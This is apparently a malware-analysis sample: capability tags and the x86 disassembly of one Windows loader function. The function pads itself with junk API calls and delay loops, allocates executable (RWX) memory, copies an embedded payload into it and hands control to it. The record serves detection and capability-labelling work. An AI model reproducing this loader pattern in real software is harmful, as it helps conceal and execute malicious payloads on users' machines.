Function at 0x401170
Capabilities:
Accept command line arguments
Allocate or change rwx memory
Execute shellcode via windows callback function
Get disk information
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x940
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x2c024
jne 0x4011df
push 0
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push str.nukohobuhobebaxefurayucijiledipa
lea ecx, [ebp - 0x1c]
call fcn.00401510
push str.cawanixulutagetutezerulitome
push 0
call fcn.00401fb4
add esp, 8
push str.jefa_pufoyisahiroxexugecevowakevice_refoyuzatamutaka_poyuvugasa_vozakobowixozikekefa_texumamoyokuzomiyodokakahu_javejesamewari_niba__s__d__f
call fcn.00401f97
add esp, 4
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_ShowScrollBar]
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
push 0
call dword [sym.imp.COMDLG32.dll_GetSaveFileNameA]
push 0
push 1
lea ecx, [ebp - 0x1c]
call fcn.00401560
mov dword [ebp - 0x20], 0
jmp 0x4011f1
mov eax, dword [ebp - 0x20]
add eax, 1
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0xeac744e
jge 0x4012e0
cmp dword [ebp - 0x20], 0x19df
jge 0x40122a
lea ecx, [ebp - 0x484]
push ecx
lea edx, [ebp - 0x480]
push edx
push str.yudaxuvefafaxexonadoloxemiyi_doyayuderojawojigiwusa_maherojozinezuyavehapu_tazabuwa_panafopehozimecenate
call dword [sym.imp.KERNEL32.dll_DnsHostnameToComputerNameA]
push 0
push 0
call dword [sym.imp.GDI32.dll_SetTextAlign]
lea eax, [ebp - 0x80]
push eax
call dword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
cmp dword [ebp - 0x20], 0x2b9
jge 0x401257
call dword [sym.imp.USER32.dll_GetKBCodePage]
push 0
lea ecx, [ebp - 0x888]
push ecx
push str.nimoropexetenikepa_wovazuhusokehohifefivavuloyobo
call dword [sym.imp.KERNEL32.dll_FindFirstVolumeMountPointA]
lea edx, [ebp - 0x28]
push edx
call dword [sym.imp.USER32.dll_GetCaretPos]
cmp dword [ebp - 0x20], 0x7d6
jge 0x401276
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_EnumPropsExW]
lea eax, [ebp - 0x5c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
cmp dword [ebp - 0x20], 0x88d
jge 0x40129c
push 0
lea ecx, [ebp - 0x898]
push ecx
push 0
call dword [sym.imp.USER32.dll_FillRect]
cmp dword [ebp - 0x20], 0x267dfa
jle 0x4012db
cmp dword [ebp - 0x6c], 0x39694fa4
je 0x4012db
cmp dword [ebp - 0x28], 0x485f7aca
je 0x4012db
cmp dword [ebp - 0x38], 0x3a0d3fc8
je 0x4012db
lea edx, [ebp - 0x89c]
push edx
push str.cidifobapexeve_sinezovulokowevasigi_guyarufumalepofadacove_vuwukafaragogovale_yovesixi
call dword [sym.imp.KERNEL32.dll_GetBinaryTypeW]
push 0
call sub.USER32.dll_DdeGetLastError
jmp 0x4012e0
jmp 0x4011e8
mov dword [ebp - 0x8a0], 0
jmp 0x4012fb
mov eax, dword [ebp - 0x8a0]
add eax, 1
mov dword [ebp - 0x8a0], eax
cmp dword [ebp - 0x8a0], 0x6401c9
jge 0x401371
cmp dword [ebp - 0x8a0], 0x1ac
jge 0x401324
push 0
push 0
lea ecx, [ebp - 0x8b8]
push ecx
call dword [sym.imp.GDI32.dll_CombineTransform]
cmp dword [ebp - 0x8a0], 0x346818
jne 0x40133c
mov edx, dword [0x411014]
mov dword [0x703c2c], edx
cmp dword [ebp - 0x8a0], 0x1e69
jge 0x40136c
push str.hekafuheyatatevatepoxegeba_sovelezacefobepi_yi_zidotebewedega
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
push str.colebeme
call dword [sym.imp.USER32.dll_CharNextW]
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_SetMenuItemInfoW]
jmp 0x4012ec
mov eax, dword [0x703c2c]
add eax, 0xaa597
mov dword [0x703c2c], eax
mov dword [ebp - 0x8bc], 0
jmp 0x40139b
mov ecx, dword [ebp - 0x8bc]
add ecx, 1
mov dword [ebp - 0x8bc], ecx
cmp dword [ebp - 0x8bc], 0x67b4ac
jge 0x40143a
cmp dword [ebp - 0x8bc], 0x159c
jge 0x4013f1
push 0
push 0
lea edx, [ebp - 0x8f0]
push edx
call dword [sym.imp.USER32.dll_InflateRect]
push 0
push 0
push str.Cu_xiyuyepedijubinifa_vuduhovesoyajifijo_mitaxehudedu
call dword [sym.imp.KERNEL32.dll_FindFirstChangeNotificationA]
push 0
lea eax, [ebp - 0x8e0]
push eax
push 0
push 0
push str.moluko_niyeyehawo_kajamihaxibezenece
push 0
call dword [sym.imp.GDI32.dll_GetCharacterPlacementA]
cmp dword [ebp - 0x8bc], 0x7bbe4
jne 0x40140d
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [0x703c28], eax
cmp dword [ebp - 0x8bc], 0x1dee
jge 0x401435
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_SendMessageW]
push 0
call dword [sym.imp.USER32.dll_GetWindowContextHelpId]
jmp 0x40138c
push 0x40
push 0x1000
mov ecx, dword [0x703c2c]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x420ec8], eax
mov edx, dword [0x411008]
mov dword [0x715ed0], edx
mov dword [ebp - 0x8f4], 0
jmp 0x40147c
mov eax, dword [ebp - 0x8f4]
add eax, 1
mov dword [ebp - 0x8f4], eax
mov ecx, dword [ebp - 0x8f4]
cmp ecx, dword [0x703c2c]
jae 0x4014c4
mov edx, dword [0x420ec8]
add edx, dword [ebp - 0x8f4]
mov eax, dword [0x715ed0]
add eax, dword [ebp - 0x8f4]
mov cl, byte [eax + 0xaa597]
mov byte [edx], cl
cmp dword [ebp - 0x8f4], 0x33f
jge 0x4014c2
push str.canegevofuyowefi_higibigikihifuxuge_foyutu_muga
push 0
call dword [sym.imp.USER32.dll_LoadIconA]
jmp 0x40146d
mov edx, dword [section..data]
push edx
mov edx, dword [0x703c2c]
mov ecx, dword [0x420ec8]
call fcn.00401110
mov ecx, dword [0x420ec8]
call fcn.00401140
mov eax, dword [0x715ed4]
mov ecx, dword fs:[0x2c]
mov edx, dword [ecx + eax*4]
mov dword [edx + 4], 1
xor eax, eax
mov esp, ebp
pop ebp
ret 0x10